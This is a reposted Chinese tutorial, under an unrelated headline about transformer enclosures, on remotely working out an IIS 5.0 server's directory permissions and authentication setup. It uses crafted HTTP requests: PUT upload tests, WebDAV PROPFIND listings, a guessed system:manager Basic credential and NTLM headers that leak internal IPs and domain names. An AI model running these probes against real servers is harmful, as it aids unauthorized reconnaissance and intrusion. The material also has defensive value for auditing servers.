箱变外壳防护等级:远程确定iis目录权限

来源:百度文库 编辑:偶看新闻 时间:2024/04/27 15:15:44
打开一个IIS服务器来看看。在IIS服务管理器中,选择一个目录,
看他的属性在目录属性项有有这么一些选项:
脚本资源访问: 对网站的脚本可以读取原文件。
读取      读取目录里面的静态资源。
写入      用户可以建立以及删除资源
目录浏览    用户可以浏览目录内容。

应用程序设置的执行许可中有三个选项:
无        只能访问静态页面
纯脚本      只允许允许脚本 如ASP脚本
脚本和可执行程序  可以访问和执行各种文件类型


执行权限

向服务器发送一个下面得请求:
http://iis-server/dir/no-such-file.dll" target="_blank">http://iis-server/dir/no-such-file.dll
/dir/为要判断得目录,no-such-file.dll是随便取得一个名字,
服务器上面没有这个文件。
如果返回的是一个500错误:
HTTP 500 - 内部服务器错误,说明这个目录的执行权限是开着的。
如果服务器返回的是一个 404 错误:
HTTP 404 - 未找到文件
那么就说明这个目录的执行权限没有开。


写权限

telnet 到服务器的web端口(80)并发送一个如下请求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
这时服务器会返回一个100( 继续)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接着,我们输入10个字母:
AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个201Created
响应:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
那么就说明这个目录的写权限是开着的,
如果返回的是一个 403 错误,那么写权限就是 没有开起来,
如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,
说明是开了写权限,但是匿名用户不允许。
如果一个目录同时开了”写”和“脚本和可执行程序”的话,
那么web用户就可以上传一个程序并且执行它.

纯脚本执行权限

很多不需要给执行权限的目录也被管理员给了脚本执行权限,
发送一个如下一个请求:
http://iis-server/dir/no-such-file.asp
返回404文件不存在说明有执行权限,返回403则是没有开。


浏览目录权限

判断一个目录是否允许浏览可能需要一点点小技巧,但是,
在网站的默认首页(如:default.asp)不存在的话,那么就
再简单不过了。在浏览器里面输入:
http://iis-server/dir/
如果权限开着的,那么会返回200响应,并且列出当前目录
里面的内容,反之,没有列出目录的话就是关了。但是,
如果默认页面default.asp存在呢?敲入上面的地址就直接
打开这个页面了。别急,WebDAV 里面有一个请求方法叫:
PROFIND。这个方法使得我们可以从服务器资源里面得到一
些如文件名,创建时间,最后修改时间等等的信息。利用
它我们也可以绕过 default.asp 来判断目录浏览权限的
情况,telnet到IIS-server的web端口,发送如下请求:
PROPFIND /dir/ HTTP/1.1
Host: iis-server
Content-Length: 0
这时,服务器会送回一个207 Multi Status的响应,如果
目录是允许浏览的,那么同时会列出目录里面的资源以及
他们的属性。如果目录浏览不允许,返回的信息就会少的
多。目录浏览一般来说只能算是一个低危险等级的漏洞,
比如一个images目录,里面除了图片没有别的东西了,那
对于服务器的安全就没有什么危害,但是,如果目录里面
放了一个管理页面adminpage.asp或者一些数据库连接信
息文件,可能会导致你的服务器拱手相让给入侵者。


读权限

判断这点很容易,发一个带 txt文件的请求就可以:
http://iis-server/dir/no-such-file.txt
如果返回一个 404 文件不存在的响应,就说明读权限是开
着的,反正,返回403错误则说明都权限没有开。早几年接
触安全的人一定知道 ::$DATA泄露ASP源代码的漏洞,其实
如果一个目录里面权势asp脚本的话,那么读权限也可以不
用开的,ASP只需要脚本执行权限就可以了。



IIS 认证方法的判断

这个漏洞是最近才公布出来的,IIS服务器支持匿名访问,
基本认证和使用NTLM方式的windows集成认证,如果客户端
发送一个包含认证信息的请求,IIS就会强行的尝试用这些
认证信息取认证,并且放回不会的响应。这样我们就能够
确定IIS的认证的配置。
要确定IIS是否支持基本认证,可以telnet到服务器的80端
口,发送如下请求:
GET / HTTP/1.1
Host: iis-server
Authorization: Basic c3lzdGVtOm1hbmFnZXIA
这是一个基本认证的请求,里面包含了一个base 64编码的
用户ID和PASS,Basic后面那串字符经过base 64解码以后
就是 system:manager 。如果服务器返回一个401信息,
则说明基本认证选项是开着的。如果返回200信息,则有2种
可能,基本认证选项没有开或者是服务器存在一个用户名是
system的用户名,并且密码是manager (猜中的话,行大运啦)。
要确定NTLM选项是否开启则可以向IIS发送如下请求
GET / HTTP/1.1
Host: iis-server
Authorization: NegotiateTlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA=
同样,如果返回401消息,则说明支持NTLM,返回200说明无
NTLM认证选项没有开启。
对于大多数网站来说,这两种认证方式都是不需要开起来的,
他们有可能泄露一些服务器的重要信息。


泄露内部IP地址信息

如果IIS服务器在一个使用NAT的防火墙里面的话,通常都有个
内部地址如10.x.x.x。
如果IIS开启了基本认证选项,那么发送如下一个简单的请求就
可以得到服务器的内部IP:
GET / HTTP/1.1
Host:
Authorization: Basic c3lzdGVtOm1hbmFnZXIA
服务器将返回一个如下响应:
HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.0
Date: Fri, 01 Mar 2002 15:45:32 GMT
WWW-Authenticate: Basic realm="10.1.1.2"
Connection: close
Content-Length: 3245
Content-Type: text/html
那个10.1.1.2就是机器的内部ip地址,本来realm的值是客户
端提供给的一个主机头,但这里它是空的,所以IIS就选择了
本机的IP地址来代替。同样的,利用PROPFIND,WRITE,MKCOL等
请求的返回信息,也能泄露主机的一些信息,如我们向服务器
提请下面这样一个请求:
PROPFIND / HTTP/1.1
Host:
Content-Length: 0
在IIS配置成使用主机名(见后)的情况下,则不会暴露主机
的IP地址,但是会暴露NetBIOS名。事实上我们可以利用IIS
的认证获得更多的信息,如所在域的名字,方法是向服务器
发送如下带NTLM认证的请求:
GET / HTTP/1.1
Host: iis-server
Authorization: NegotiateTlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA
服务器会返回一个信息:
HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.0
Date: Fri, 01 Mar 2002 16:24:58 GMT
WWW-Authenticate: Negotiate TlRMTVNTUAACAAAADAAMADAAAAAFgoKgeGvyVuvy67U
AAAAAAAAAAEQARAA8AAAAUwBDAFkATABMAEEAAgAMAFMAQwBZAEwA
TABBAAEA DABTAEMAWQBMAEwAQQAEAAwAUwBDAFkATABM
AEEAAwAMAFMAQwBZAEwATABBAAAAAAA=
Content-Length: 3245
Content-Type: text/html
那一长串字符就包含了主机名和NT所在域的名字的base 64 编码。
http://gtogo.myetang.com/po/jiaocheng/65.htm